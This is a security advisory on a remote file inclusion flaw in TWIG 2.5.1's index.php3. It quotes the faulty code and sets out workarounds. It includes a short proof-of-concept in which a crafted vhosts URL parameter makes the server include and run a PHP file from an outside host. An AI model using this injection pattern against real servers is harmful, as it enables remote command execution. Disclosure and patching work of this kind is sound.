|
|
|
|
| |
| Twig was designed to allow the use of virtual hosting. Unfortunately, the script fails to check for user-supplied input, thus allowing anyone to submit malicious values as the configuration directory and possibly execute arbitrary commands on the machine remotely. |
| |
Credit:
The information has been provided by Jo?o Gouveia, Shaun Clowes, Geoff Martin.
|
| |
Vulnerable systems:
TWIG 2.5.1
Impact:
The possibility of processing our own PHP file, can lead to arbitrary command execution on the server as the HTTPD user.
The faulty piece of code is (in index.php3):
<quote>
// Allow for virtual hosting
$config_dir = "config";
if( $vhosts[$SERVER_NAME] )
$config_dir = $vhosts[$SERVER_NAME];
include( $config_dir . "/config.inc.php3" );
include( $config_dir . "/images.inc.php3" );
}
</quote>
If the vhosts "directive" is not initialized, it is trivial to exploit it. Let's look at an example:
1. We create a config.inc.php3 script with " <? phpinfo(); ?> " in it, and upload it to some free web hosting service machine.
2. We go to the vulnerable site using Twig and type in the browser:
http://twig.example.com/index.php3?vhosts[twig.vuln.site]=http://free.host.machine/~mydir/
3. The script gladly includes our own config.inc.php3 and executes it, presenting us with the phpinfo relative to the vulnerable site.
You can surely imagine this danger, for example if the vulnerable site has safe_mode disable, we could just use a system($string) to execute arbitrary commands as the http user.
Even if safe mode is enabled, it's still possible to execute our code, for things like revealing the source of PHP files, which may contain sensitive data in it.
Workaround:
Simply add:
unset($config);
unset($vhosts);
at the top of config/config.inc.php3
Also add:
unset($dbconfig);
at the top of config/dbconfig.inc.php3 for good measure.
Alternatively, in index.php3, replace the line:
if( $vhosts[$SERVER_NAME] )
with:
if( $vhosts[$SERVER_NAME] &&
!isset($HTTP_GET_VARS[vhosts]) &&
!isset($HTTP_POST_VARS[vhosts]) &&
!isset($HTTP_COOKIE_VARS[vhosts]))
This essentially checks to make sure that the vhosts element was defined locally (in config/config.inc.php3), not in the URL.
|
|
|
|
|
|
|
|
|
|